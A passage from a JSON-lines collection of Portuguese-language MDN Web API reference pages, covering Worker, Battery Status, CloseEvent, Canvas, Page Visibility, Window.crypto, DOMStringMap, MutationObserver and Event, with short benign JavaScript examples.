`ServiceWorker` não suportam esse método.\n\nEventos\n-------\n\n`message` (en-US)\n\n O evento é disparado quando o script pai do worker recebe uma mensagem do mesmo.\n Também é disponibilizado via `onmessage.`\n\n`messageerror` (en-US)\n\n Dispara quando um Worker recebe uma mensagem que não pode ser deserializada (en-US)\n Também é disponibilizado via `onmessageerror.`\n\n`rejectionhandled` (en-US)\n\n Dispara sempre que um `Promise` é rejeitado, indenpendentemente de haver ou não um manipulador para capturar sua rejeição.\n Também é disponibilizado via `onrejectionhandled.`\n\n`unhandledrejection` (en-US)\n\nDispara sempre que um `Promise` rejeita, independentemente de haver ou não um manipulador para capturar a rejeição. Também disponível por meio da propriedade do manipulador de eventos `onunhandledrejection.`\n\nExemplos\n--------\n\nThe following code snippet shows creation of a `Worker` object using the `Worker()` (en-US) constructor and usage of the object:\n\n\n```js\nvar myWorker = new Worker(\"worker.js\");\nvar first = document.querySelector(\"#number1\");\nvar second = document.querySelector(\"input#number2\");\n\nfirst.onchange = function () {\n  myWorker.postMessage([first.value, second.value]);\n  console.log(\"Message posted to worker\");\n};\n```\n\n\nFor a full example, see ourBasic dedicated worker example (run dedicated worker).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dedicated-workers-and-the-worker-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using web workers\n* Functions available to workers\n* Other kind of workers: `SharedWorker` (en-US) and ServiceWorker (en-US).\n* Non-standard, Gecko-specific workers: `ChromeWorker`, used by extensions."}
{"title":"Battery Status API - APIs da Web","text":"Battery Status API\n==================\n\nA **API Battery Status**, mais conhecida como **Battery API**, fornece informações sobre o nível de carga da bateria presente no sistema e permite que você seja notificado por eventos que são enviados quando os níveis sofrem alterações. Isto pode ser usado para ajustar a utilização de recursos do seu aplicativo, reduzindo a quantidade de energia drenada por ele quando a bateria estiver em nível baixo, ou ainda para salvar mudanças antes da bateria acabar, prevenindo a perda de dados.\n\nA API Battery Status API estende `Window.navigator` com uma propriedade `Navigator.battery` que é um objeto `BatteryManager`, e adiciona alguns novos eventos que você pode receber para monitorar o status da bateria.\n\nExemplo\n-------\n\nNeste exemplo, nós observamos as mudanças em ambos os status de carregamento (se estamos ou não conectados e carregando) e para mudanças no nível da bateria. Isto é feito escutando pelos eventos `chargingchange` e `levelchange`, respectivamente.\n\n\n```js\nvar battery =\n  navigator.battery || navigator.mozBattery || navigator.webkitBattery;\n\nfunction updateBatteryStatus() {\n  console.log(\"Status da bateria: \" + battery.level \\* 100 + \" %\");\n\n  if (battery.charging) {\n    console.log(\"A bateria está carregando\");\n  }\n}\n\nbattery.addEventListener(\"chargingchange\", updateBatteryStatus);\nbattery.addEventListener(\"levelchange\", updateBatteryStatus);\nupdateBatteryStatus();\n```\n\n\nVeja também o exemplo na especificação.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Battery Status API  |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.BatteryManager\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.Navigator.getBattery\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Hacks blog post - Usando a API Battery API (em inglês)\n* `BatteryManager`\n* `navigator.battery`"}
{"title":"CloseEvent - APIs da Web","text":"CloseEvent\n==========\n\nUm `CloseEvent` é enviado aos clientes que usam WebSockets quando a conexão está fechada (closed). Ele é enviado ao ouvinte(listener) pelo atributo `onclose` do objeto `WebSocket`.\n\nConstrutor\n----------\n\n`CloseEvent()`\n\nCria um `CloseEvent` novo.\n\nPropriedades\n------------\n\n*Esta interface também herda as propriedades de seu objeto pai, `Event`.*\n\n`CloseEvent.code` (en-US) Somente leitura \n\nRetorna um valor `unsigned short` contendo o código de encerramento enviado pelo servidor. Os seguintes valores são status de códigos permitidos. As definições seguintes são originadas da página da IANA [Ref]. Observe que os códigos 1xxx são exclusivamente Websockets internos e não para os mesmos propósitos dos dados enviados (como quando o protocolo da camada de aplicação é invalido). Os únicos códigos que permitem especificação no Firefox são o 1000 e do 3000 ao 4999 [Source, Bug].\n\n| Código de Status | Nome | Descrição |\n| --- | --- | --- |\n| `0`–`999` |  | **Reservado e não utilizado.** |\n| `1000` | `CLOSE_NORMAL` | Encerramento normal. A conexão foi completada com sucesso sempre que o propósito para o qual ela foi criada tenha sido atingida. |\n| `1001` | `CLOSE_GOING_AWAY` | O \"endpoint\" desapareceu, por causa de uma falha no servidor ou por que o navegador navegou para fora da página que abriu a conexão. |\n| `1002` | `CLOSE_PROTOCOL_ERROR` | O \"endpoint\" finalizou a conexão devido a um erro de protocolo. |\n| `1003` | `CLOSE_UNSUPPORTED` | A conexão está sendo finalizada por causa de o dado do \"endpoint\" recebido ser de um tipo que não pode ser aceito (por exemplo, um \"text-only endpoint\" recebido como dado binário). |\n| `1004` |  | **Reservado.** Um significado pode ser definido futuramente. |\n| `1005` | `CLOSE_NO_STATUS` | **Reservado.** Indica que um código \"no status\" foi fornecido mesmo que qualquer outro código seja esperado. |\n| `1006` | `CLOSE_ABNORMAL` | **Reservado.** Usado para indicar que uma conexão foi fechada anormalmente (isto é, sem o \"close frame\" ter sido enviado) quando um \"status code\" é esperado. |\n| `1007` | Unsupported Data | O \"endpoint\" está finalizando a conexão por causa da mensagem ter sido recebida com dados inconsistentes (por exemplo, dados que não estejam no padrão UTF-8, dentro de uma mensagem de texto). |\n| `1008` | Policy Violation | O \"endpoint\" está finalizando a conexão por causa dele ter recebido uma mensagem que viola sua política. Este é um código de status genérico, usado quando o código 1003 e o código 1009 não sejam adequados. |\n| `1009` | `CLOSE_TOO_LARGE` | O \"endpoint\" está finalizando a conexão por causa de que o \"data frame\" recebido é muito grande. |\n| `1010` | Missing Extension | O cliente está fechando a conexão por causa de que navegador espera o servidor negociar uma ou mais extensões esperadas, o servidor não responde corretamente. |\n| `1011` | Internal Error | O servidor está finalizando uma conexão por causa de que ele encontrou uma condição inesperada que o impediu de cumprir a solicitação. |\n| `1012` | Service Restart | O servidor está finalizando uma conexão por que ele está em processo de \"restar\". [Ref] |\n| `1013` | Try Again Later | O servidor está finalizando a conexão devido a uma condição temporária, por exemplo, ele estar sobrecarregado e estar rejeitando alguns dos seus clientes. [Ref] |\n| `1014` |  | **Reservado para o futuro uso de um padrão WebSocket.** |\n| `1015` | TLS Handshake | **Reservado.** Indica que a conexão foi fechada devido a uma falha para executar um \" TLS handshake\" (por exemplo, o certificado do servidor não pode ser verificado). |\n| `1016`–`1999` |  | **Reservado para o futuro uso de um padrão WebSocket.** |\n| `2000`–`2999` |  | **Reservado para uso de \"WebSocket extensions\".** |\n| `3000`–`3999` |  | Disponível para uso de bibliotecas e frameworks. **Não pode** ser usado para aplicações. Disponível para registro em \"IANA via first-come, first-serve\". |\n| `4000`–`4999` |  | Disponível para uso em aplicações. |\n\n`CloseEvent.reason` (en-US) Somente leitura \n\nRetorna um `DOMString` indicando a razão do porquê o servidor fechou uma conexão. Isto é especifico para um servidor e sub-protocolo particular.\n\n`CloseEvent.wasClean` (en-US) Somente leitura \n\nRetorna um `Boolean` indicando se a conexão está ou não está claramente fechada.\n\nMétodos\n-------\n\n*Esta interface também herda as propriedades de seu objeto pai,* *`Event`.*\n\n`CloseEvent.initCloseEvent()` (en-US) \nNon-standard\n\nInicializa o valor de um `CloseEvent` criado. Se o evento já tenha sido enviado, este método não realiza nada. Não use este método mais, use o construtor `CloseEvent()` em vez disso.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `WebSocket`"}
{"title":"Canvas - APIs da Web","text":"Canvas\n======\n\nA **Canvas API** provê maneiras de desenhar gráficos via JavaScript e via elemento HTML `<canvas>`. Entre outras coisas, ele pode ser utilizado para animação, gráficos de jogos, visualização de dados, manipulação de fotos e processamento de vídeo em tempo real.\n\nA Canvas API foca amplamente em gráficos 2D. A WebGL API, que também usa o elemento `<canvas>`, desenha gráficos 2D e 3D acelerados por hardware.\n\nExemplo básico\n--------------\n\nEste exemplo simples desenha um retângulo verde para um canvas.\n\n### HTML\n\n\n```html\n<canvas id=\"canvas\"></canvas>\n```\n\n### JavaScript\n\nO método `Document.getElementById()` pega uma referência para o elemento HTML `<canvas>`. Em seguida, o método `HTMLCanvasElement.getContext()` pega o contexto daquele elemento - a coisa sobre a qual o desenho será renderizado.\n\nO desenho atual é feito usando a interface `CanvasRenderingContext2D`. A propriedade `fillStyle` faz o retângulo verde. O método `fillRect()` coloca seu canto superior direito em (10, 10) e dá a ele o tamanho de 150 unidades de largura e 100 de altura.\n\n\n```js\nconst canvas = document.getElementById(\"canvas\");\nconst ctx = canvas.getContext(\"2d\");\n\nctx.fillStyle = \"green\";\nctx.fillRect(10, 10, 150, 100);\n```\n\n### Resultado\n\nReferência\n----------\n\n* `HTMLCanvasElement` (en-US)\n* `CanvasRenderingContext2D`\n* `CanvasGradient` (en-US)\n* `CanvasImageSource` (en-US)\n* `CanvasPattern` (en-US)\n* `ImageBitmap` (en-US)\n* `ImageData` (en-US)\n* `RenderingContext`\n* `TextMetrics` (en-US)\n* `OffscreenCanvas` (en-US) \nExperimental\n* `Path2D` \nExperimental\n* `ImageBitmapRenderingContext` (en-US) \nExperimental\n\n**Nota:** As interfaces relacionadas ao `WebGLRenderingContext` são referenciadas sob WebGL.\n\n`CanvasCaptureMediaStream` (en-US) é uma interface relacionada.\n\nGuias e Tutoriais\n-----------------\n\nTutorial Canvas\n\nUm tutorial compreensivo abordando o uso básico da API de Canvas e suas funcionalidades avançadas.\n\nMergulhando no Canvas HTML5\n\nUma introdução prática e extensa à API Canvas e WebGL.\n\nGuia Canvas\n\nUma referência acessível para a API Canvas.\n\nDemonstração: Um *ray-caster* básico\n\nUma demonstração de animação *ray-tracing* usando canvas.\n\nManipulando vídeos usando canvas (en-US)\n\nCombinando `<video>` e `<canvas>` para manipular dados de vídeo em tempo real.\n\nBibliotecas\n-----------\n\nA API Canvas é extremamente poderosa, mas nem sempre é simples de usar. As bibliotecas listadas abaixo podem fazer a criação de projetos baseados em canvas mais rápida e fácil.\n\n* EaselJS é uma biblioteca de código aberto que facilita criações de jogos, arte generativa e outras experiências altamente gráficas.\n* Fabric.js é uma biblioteca código aberto em canvas com suporte à SVG.\n* heatmap.js é uma biblioteca de código aberto para criar mapas de calor (heatmaps) baseados em canvas.\n* JavaScript InfoVis Toolkit cria visualizações de dados interativas.\n* Konva.js é uma biblioteca de canvas 2D para aplicações *desktop* e móveis.\n* p5.js tem um conjunto completo de funcionalidades de desenho canvas para artistas, *designers*, educadores e iniciantes.\n* Paper.js é um framework de código-aberto para scripting de vetores gŕaficos que funciona sobre o Canvas HTML5.\n* Phaser é um framework de código-aberto rápido, grátis e divertido para jogos de navegador desenvolvidos com Canvas e WebGL.\n* Processing.js é um conversor da linguagem de visualização Processing.\n* Pts.js é uma biblioteca para codificação criativa e visualização em canvas e SVG.\n* Rekapi é uma API de animação *key-framing* para Canvas.\n* Scrawl-canvas é uma biblioteca JavaScript de código aberto para criação e manipulação de elementos canvas 2D.\n* O framework ZIM provê conveniências, componentes e controles para programar criatividade no canvas - inclui acessibilidade e centenas de tutoriais cheios de cores.\n\n**Nota:** Veja a WebGL API para bibliotecas 2D e 3D que usam WebGL.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-canvas-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* WebGL"}
{"title":"Page Visibility API - APIs da Web","text":"Page Visibility API\n===================\n\nA **API de visibilidade de página** deixa você saber quando uma página da web está visível ou em foco. Com a navegação em abas, existem razões para que quaisquer páginas da web que estejam sendo executadas em segundo plano e não visíveis para o usuário. Quando o usuário minimiza a página ou muda para outra aba, a API envia um evento `visibilitychange (en-US)` informando o estado de visibilidade da página. Você pode detectar o evento e realizar algumas ações ou modificar o seu comportamento. Por exemplo, se a sua aplicação web estiver reproduzindo um video, ela pode pausar durante o momento que o usuário estiver olhando para outra aba, e reproduz novamente quando o usuário retorna para a aba. O usuário não perde nenhuma parte do video e pode continuar assistindo.\n\n### Benefícios\n\nA API é particularmente util para economizar recursos dando aos desenvolvedores a oportunidade de não realizar tarefas desnecessárias quando a página não está visível.\n\n### Casos de uso\n\nAlguns exemplos:\n\n* Um site tem um carrossel de imagens que não devem avançar para o próximo slide a não ser que o usuário esteja visualizando a página.\n* Uma aplicação mostrando um painel de informações não quer fazer requizições de atualizações ao servidor quando a página não estiver visível.\n* Uma página quer detectar quando está sendo prerenderizada para poder contar o número de visualizações de forma mais precisa.\n\nDesenvolvedores têm historicamente usado alternativas de se detectar isto. Por exemplo, registrando um handler onblur/onfocus na janela te ajuda a saber quando a sua página não é a ativa, mas isto não te diz se a sua página não está visível para o usuário. Já a API de Visibilidade de Página faz isto. (Quando comparada com a técnica de registrar handlers de onblur/onfocus na janela, uma diferencia chave é que a página *não* fica escondida quando outra janela é ativada e a janela do navegador perde o foco. A página só fica escondida quando o usuário troca para uma aba diferente ou minimiza a janela do navegador.)\n\nExemplo\n-------\n\nVeja exemplo em caso real (video com som).\n\nO exemplo, que pausa o video quando você troca para outra aba e volta a reproduzir quando você retorna, foi criado com o seguinte código:\n\n\n```js\n// Configura o nome da propriedade hidden e o evento de mudança para visibilidade\nvar hidden, visibilityChange;\nif (typeof document.hidden !== \"undefined\") {\n  // Suporte para Opera 12.10 e Firefox 18 em diante\n  hidden = \"hidden\";\n  visibilityChange = \"visibilitychange\";\n} else if (typeof document.mozHidden !== \"undefined\") {\n  hidden = \"mozHidden\";\n  visibilityChange = \"mozvisibilitychange\";\n} else if (typeof document.msHidden !== \"undefined\") {\n  hidden = \"msHidden\";\n  visibilityChange = \"msvisibilitychange\";\n} else if (typeof document.webkitHidden !== \"undefined\") {\n  hidden = \"webkitHidden\";\n  visibilityChange = \"webkitvisibilitychange\";\n}\n\nvar videoElement = document.getElementById(\"videoElement\");\n\n// Se a página está escondida, pausa o video;\n// Se a página está visível, reproduz o video\nfunction handleVisibilityChange() {\n  if (document[hidden]) {\n    videoElement.pause();\n  } else {\n    videoElement.play();\n  }\n}\n\n// Alerta se o navegador não suporta addEventListener ou a API de visibilidade da página\nif (\n  typeof document.addEventListener === \"undefined\" ||\n  typeof document[hidden] === \"undefined\"\n) {\n  alert(\n    \"This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.\",\n  );\n} else {\n  // Manipula o evento de mudança da visibilidade da página\n  document.addEventListener(visibilityChange, handleVisibilityChange, false);\n\n  // Reverte para o favicon existente para o site quando a página é fechada;\n  // caso contrário, o favicon continua como paused.png\n  window.addEventListener(\n    \"unload\",\n    function () {\n      favicon.change(\"/favicon.ico\");\n    },\n    false,\n  );\n\n  // Quando o video é pausado, configura o favicon.\n  // Isso mostra a imagem paused.png\n  videoElement.addEventListener(\n    \"pause\",\n    function () {\n      favicon.change(\"images/paused.png\");\n    },\n    false,\n  );\n\n  // Quando o video é reproduzido, configura o favicon.\n  videoElement.addEventListener(\n    \"play\",\n    function () {\n      favicon.change(\"images/playing.png\");\n    },\n    false,\n  );\n\n  // Configura o título da aba com o tempo atual do video\n  videoElement.addEventListener(\n    \"timeupdate\",\n    function () {\n      document.title = Math.floor(videoElement.currentTime) + \" segundo(s)\";\n    },\n    false,\n  );\n}\n```\n\nVisão geral das propriedades\n----------------------------\n\n### `document.hidden` Somented leitura\n\nRetorna `true` se a página está escondida para o usuário, caso contrário, retorna `false`.\n\n### `document.visibilityState` Somente leitura\n\nÉ a `cadeia de caracteres que denota a visibilidade do documento`. Possíveis valores:\n\n* `visible` : o conteúdo da página pode estar parcialmente visível. Na prática, isso significa que a página é a aba ativa de uma janela não minimizada.\n* `hidden` : o conteúdo da página não está visível para o usuário. Na prática, isso significa que o documento está em uma aba inativa, em uma janela minimizada, ou o sistema operacional está com a tela travada.\n* `prerender` : o conteúdo da página está sendo prerenderizado e não está visível para o usuário(considerado como escondida para motivos de `document.hidden`). O documento pode começar neste estado, mas nunca mudar dele para algum outro. Nota: a compatibilidade com navegadores é opcional.\n* `unloaded` : a página está sendo removida da memória(a aba ou janela está sendo fechada). Nota: a compatibilidade com navegadores é opcional\n\n\n```js\n//startSimulation e pauseSimulation definidas em outro lugar\nfunction handleVisibilityChange() {\n  if (document.hidden) {\n    pauseSimulation();\n  } else {\n    startSimulation();\n  }\n}\n\ndocument.addEventListener(\"visibilitychange\", handleVisibilityChange, false);\n```\n\nNota\n----\n\nOs estados de visibilidade de `<iframe>` são os mesmos do documento pai. Esconder o iframe com propriedades CSS não ativa os eventos de visibilidade nem muda o estado do documento do conteúdo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-document-visibilitystate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Descrição da API de Visibilidade de Página do IEBlog.\n* Descrição da API de visibilidade de Página do Google"}
{"title":"Window.crypto - APIs da Web","text":"Window.crypto\n=============\n\n`Window.crypto` propriedade somente de leitura, devolve um objeto do tipo `Crypto` associado ao objeto global. Este objeto permite que páginas da web utilizem recursos de criptografia.\n\nSintaxe\n-------\n```\n\nvar cryptoObj = window.crypto || window.msCrypto; // for IE 11\n```\n\nExemplo\n-------\n\n#### Usando a propriedade `Window.crypto` para acessar o método getRandomValues()\n\n### JavaScript\n\n\n```js\ngenRandomNumbers = function getRandomNumbers() {\n  var array = new Uint32Array(10);\n  window.crypto.getRandomValues(array);\n\n  var randText = document.getElementById(\"myRandText\");\n  randText.innerHTML = \"The random numbers are: \";\n  for (var i = 0; i < array.length; i++) {\n    randText.innerHTML += array[i] + \" \";\n  }\n};\n```\n\n### HTML\n\n\n```html\n<p id=\"myRandText\">The random numbers are:</p>\n<button type=\"button\" onClick=\"genRandomNumbers()\">\n  Generate 10 random numbers\n</button>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # dom-windoworworkerglobalscope-crypto |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto global `Window`"}
{"title":"DOMStringMap - APIs da Web","text":"DOMStringMap\n============\n\nUsado pelo atributo HTML `dataset` para representar atributos próprios adicionados ao elemento.\n\nVisão Geral do Método\n---------------------\n\n| `DOMString getDataAttr(in DOMString prop);` |\n| --- |\n| `boolean hasDataAttr(in DOMString prop);` |\n| `void removeDataAttr(in DOMString prop);` |\n| `void removeProp(in nsIAtom attr);` |\n| `void setDataAttr(in DOMString prop, in DOMString value);` |\n\nMétodos\n-------\n\n### hasDataAttr()\n```\n\nboolean hasDataAttr(\n  in DOMString prop\n);\n```\n\n\n###### Parâmetros\n\n`prop`\n\nNome da propriedade a qual a existência deve ser verificada.\n\n###### Retorno\n\n`true` se a propriedade existir ou `false` se não existir.\n\n### removeDataAttr()\n```\n\nvoid removeDataAttr(\n  in DOMString prop\n);\n```\n\n\n###### Parâmetros\n\n`prop`\n\nPropriedade a ser removida do data set.\n\n### removeProp()\n\nRemove a propriedade do dataset do objeto. Usada para atualizar o objeto de dataset do objeto quando o atributo data-\\* houver sido removido do elemento.\n```\n\nvoid removeProp(\n  in nsIAtom attr\n);\n```\n\n\n###### Parâmetros\n\n`attr`\n\nA propriedade a ser removida do dataset.\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLElement.dataset` (en-US)\n* `dataset`"}
{"title":"MutationObserver - APIs da Web","text":"MutationObserver\n================\n\nMutationObserver fornece aos desenvolvedores uma maneira de reagir a mudanças em um DOM (en-US). Ele é concebido como um substituto para Mutation Events definido na especificação de eventos DOM nível 3.\n\nConstructor\n-----------\n\n### `MutationObserver()`\n\nConstrutor para instanciar novos observadores de mutação do DOM.\n```\n\nMutationObserver(\n  function callback\n);\n```\n\n\n###### Parâmetros\n\n`callback`\n\nA função que será chamada em cada mutação do DOM. O observador irá chamar esta função com dois argumentos. O primeiro é um array de objetos, cada um do tipo `MutationRecord`. O segundo é a essa instância MutationObserver.\n\nMétodos da instância\n--------------------\n\n| `void observe( `Node` target, MutationObserverInit options );` |\n| --- |\n| `void disconnect();` |\n| `Array takeRecords();` |\n\n### `observe()`\n\nRegistra a instância MutationObserver para receber notificações das mutações do DOM no nó especificado.\n```\n\nvoid observe(\n  `Node` target,\n  MutationObserverInit options\n);\n```\n\n\n###### Parâmetros\n\n`target`\n\nO `Node` no qual é observadas as mutações do DOM.\n\n`options`\n\nUm objeto `MutationObserverInit` especifica quais mutações DOM devem ser reportadas.\n\n\n**Nota:** NOTA: Adicionar um observador para um elemento é como utilizar o addEventListener, se você observar o elemento várias vezes não faz diferença. Ou seja, se você observar um elemento duas vezes, o callback do observador não disparará duas vezes, nem você deverá executar duas vezes o disconnect(). Em outras palavras, uma vez que um elemento é observado, observá-lo novamento com a mesma instância do observador não fará nada. No entanto, se o objeto callback for diferente, ele, é claro, adicionará outro observador para isso.\n\n### `disconnect()`\n\nPára o rebimento de notificações das mutações do DOM na instância `MutationObserver`. O callback do observador não será invocado até que método `observe()` seja novamente utilizado.\n```\n\nvoid disconnect();\n```\n\n### `takeRecords()`\n\nEsvazia a fila de registro da instância `MutationObserver` e retorna o que estava nela.\n```\n\nArray takeRecords();\n```\n\n\n###### Valor de retorno\n\nRetorna um Array de `MutationRecord`s.\n\n`MutationObserverInit`\n----------------------\n\n`MutationObserverInit` é um objeto que pode especificar as seguintes propriedades:\n\n**Nota:** NOTA: No mínimo `childList`, `attributes`, ou `characterData` devem ser definidos como `true`. Caso contrário o erro \"An invalid or illegal string was specified\" é lançado.\n\n\n| Property | Description |\n| --- | --- |\n| `childList` | Defina como `true` se adições e remoções dos elementos filho do nó alvo (incluindo nós de texto) devem ser observadas. |\n| `attributes` | Defina como `true` se mutações dos atributos do alvo devem ser observadas. |\n| `characterData` | Defina como `true` se mutações dos dados do alvo devem ser observadas. |\n| `subtree` | Defina como `true` se mutações não apenas do alvo, mas também dos descendentes do alvo devem ser observadas. |\n| `attributeOldValue` | Defina como `true` se `attributes` é definido como `true` e o valor do atributo do alvo antes da mutação precisa ser gravado. |\n| `characterDataOldValue` | Defina como `true` se `characterData` é definido como `true` e os dados do alvo antes da mutação precisam ser gravados. |\n| `attributeFilter` | Defina como um array de nomes locais de atributo (sem namespace) se nem todas mutações de atributo precisam ser observadas. |\n\n`MutationRecord`\n----------------\n\n`MutationRecord` é um objeto que será passado para o callback do observador. Tem as seguintes propriedades:\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `type` | `String` | Retorna `attributes` se a mutação foi a de um atributo, `characterData` se foi de um nó `CharacterData`, e `childList` se foi a mutação para uma árvore de nós. |\n| `target` | ``Node`` | Retorna o nó que a mutação afetou, dependendo do `type`. Para `attributes`é o elemento cujo atributo mudou. Para `characterData` é o nó `CharacterData`. Para `childList` é o nó cujos filhos mudaram. |\n| `addedNodes` | ``NodeList`` | Retorna os nós adicionados. Será uma NodeList vazia se nenhum nó foi adicionado. |\n| `removedNodes` | ``NodeList`` | Retorna os nós removidos. Será uma NodeList vazia se nenhum nó foi removido. |\n| `previousSibling` | ``Node`` | Retorna o irmão anterior dos nós adicionados ou removidos, ou `null`. |\n| `nextSibling` | ``Node`` | Retorna o próximo irmão dos nós adicionados ou removidos, ou `null`. |\n| `attributeName` | `String` | Retorna o nome local do atributo modificado, ou `null`. |\n| `attributeNamespace` | `String` | Retorna o namespace do atributo modificado, ou `null`. |\n| `oldValue` | `String` | O valor retornado depende do `type`. Para `attributes`, é o valor do atributo modificado antes da troca. Para `characterData`, são os dados do nó modificado antes da troca. Para `childList` é `null`. |\n\nExemplo de uso\n--------------\n\nO exemplo a seguir foi retirado deste post.\n\n\n```js\n// seleciona o nó alvo\nvar target = document.querySelector(\"#some-id\");\n\n// cria uma nova instância de observador\nvar observer = new MutationObserver(function (mutations) {\n  mutations.forEach(function (mutation) {\n    console.log(mutation.type);\n  });\n});\n\n// configuração do observador:\nvar config = { attributes: true, childList: true, characterData: true };\n\n// passar o nó alvo, bem como as opções de observação\nobserver.observe(target, config);\n\n// mais tarde você pode parar de observar\nobserver.disconnect();\n```\n\nLeitura adicional\n-----------------\n\n* A brief overview\n* A more in-depth discussion\n* A screencast by Chromium developer Rafael Weinstein\n* The mutation summary library\n* The DOM standard que define a interface do `MutationObserver`\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-mutationobserver |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Event - APIs da Web","text":"Event\n=====\n\nA interface de **eventos** representa qualquer evento de DOM. Ele contém propriedades comuns e métodos para qualquer evento.\n\nUm monte de outras interfaces herdam, diretamente ou não, a partir desta interface base:\n\n* `AnimationEvent`\n* `AudioProcessingEvent` (en-US)\n* `BeforeInputEvent`\n* `BeforeUnloadEvent` (en-US)\n* `BlobEvent` (en-US)\n* `ClipboardEvent`\n* `CloseEvent`\n* `CompositionEvent` (en-US)\n* `CSSFontFaceLoadEvent`\n* `CustomEvent` (en-US)\n* `DeviceLightEvent`\n* `DeviceMotionEvent` (en-US)\n* `DeviceOrientationEvent` (en-US)\n* `DeviceProximityEvent`\n* `DOMTransactionEvent`\n* `DragEvent` (en-US)\n* `EditingBeforeInputEvent`\n* `ErrorEvent` (en-US)\n* `FocusEvent` (en-US)\n* `GamepadEvent` (en-US)\n* `HashChangeEvent` (en-US)\n* `IDBVersionChangeEvent` (en-US)\n* `InputEvent` (en-US)\n* `KeyboardEvent` (en-US)\n* `MediaStreamEvent` (en-US)\n* `MessageEvent` (en-US)\n* `MouseEvent`\n* `MutationEvent` (en-US)\n* `OfflineAudioCompletionEvent` (en-US)\n* `PageTransitionEvent` (en-US)\n* `PointerEvent` (en-US)\n* `PopStateEvent` (en-US)\n* `ProgressEvent` (en-US)\n* `RelatedEvent`\n* `RTCDataChannelEvent` (en-US)\n* `RTCIdentityErrorEvent`\n* `RTCIdentityEvent`\n* `RTCPeerConnectionIceEvent` (en-US)\n* `SensorEvent`\n* `StorageEvent` (en-US)\n* `SVGEvent` (en-US)\n* `SVGZoomEvent`\n* `TimeEvent` (en-US)\n* `TouchEvent` (en-US)\n* `TrackEvent` (en-US)\n* `TransitionEvent` (en-US)\n* `UIEvent` (en-US)\n* `UserProximityEvent`\n* `WheelEvent` (en-US)\nConstrutor\n----------\n\n`Event()`\n\nCria um objeto Event.\n\nPropriedades\n------------\n\n*Esta interface não herda nenhuma propriedade.*\n\n`Event.bubbles` (en-US) Somente leitura \n\nUm booleano que indica se o evento surge em bolha pela DOM ou não.\n\n`Event.cancelable` (en-US) Somente leitura \n\nUm booleano que indica se o evento é cancelado.\n\n`Event.currentTarget` Somente leitura \n\nUma referencia para o alvo registrado atualmente para o evento.\n\n`Event.defaultPrevented` Somente leitura \n\nIndica se ou não `event.preventDefault()` foi chamado no evento..\n\n`Event.eventPhase` (en-US) Somente leitura \n\nIndica que fase do fluxo de eventos está a ser processada.\n\n`Event.explicitOriginalTarget` (en-US) \nNon-standard\n Somente leitura \n\nO objetivo original explícito do evento (Mozilla-specific).\n\n`Event.originalTarget` (en-US) \nNon-standard\n Somente leitura \n\nO objectivo inicial do evento, antes de qualquer redirecionamento (Mozilla-specific).\n\n`Event.target` Somente leitura \n\nA referência ao objectivo para o qual o evento foi originalmente despachado.\n\n`Event.timeStamp` (en-US) Somente leitura \n\nO tempo em que o evento foi criado.\n\n`Event.type` Somente leitura \n\nO nome do evento (case-insensitive).\n\n`Event.isTrusted` Somente leitura \n\nIndica se ou não o evento foi iniciado pelo navegador (depois de um clique do usuário, por exemplo) ou por um script (usando um método de criação de evento, como event.initEvent (en-US))\n\nMetodos\n-------\n\n*Esta interface não herda nenhum método.*\n\n`Event.initEvent()` \nDeprecated\n\nInicializa o valor de um evento criado. Se o evento já está sendo despachado, este método não faz nada.\n\n`Event.preventBubble()` \nNon-standard\n\nImpede o evento de borbulhar. Obsoleto, use `event.stopPropagation` em vez disso.\n\n`Event.preventCapture()` \nNon-standard\n\nObsoleto, use `event.stopPropagation` ao invés.\n\n`Event.preventDefault()`\n\nCancela o evento (caso seja cancelável).\n\n`Event.stopImmediatePropagation()`\n\n Para este evento em particular, nenhum outro ouvinte será chamado. Ou aqueles ligados no mesmo elemento, nem aqueles associados em elementos que serão percorridos mais tarde\n (em fase de captura, por exemplo).\n\n\n`Event.stopPropagation()`\n\nPara a propagação de eventos mais adiante no DOM.\n\n`Event.getPreventDefault()` \nNon-standard\n\nObsoleto, use `Event.defaultPrevented` ao invés.\n\nVeja também\n-----------\n\n* Tipos de eventos disponíveis: Referência de eventos (en-US)\n* Comparitivo dos Alvos de Eventos (target vs currentTarget vs relatedTarget vs originalTarget)\n* Criação e gatilho de eventos customizados (en-US)\n* Para desenvolvedores de extensões para o Firefox:\n    + Escutando eventos em extensões do Firefox\n    + Escutando eventos em todas as abas\n* Eventos relacionados da Mozilla na vida real em wiki.mozilla.org"}
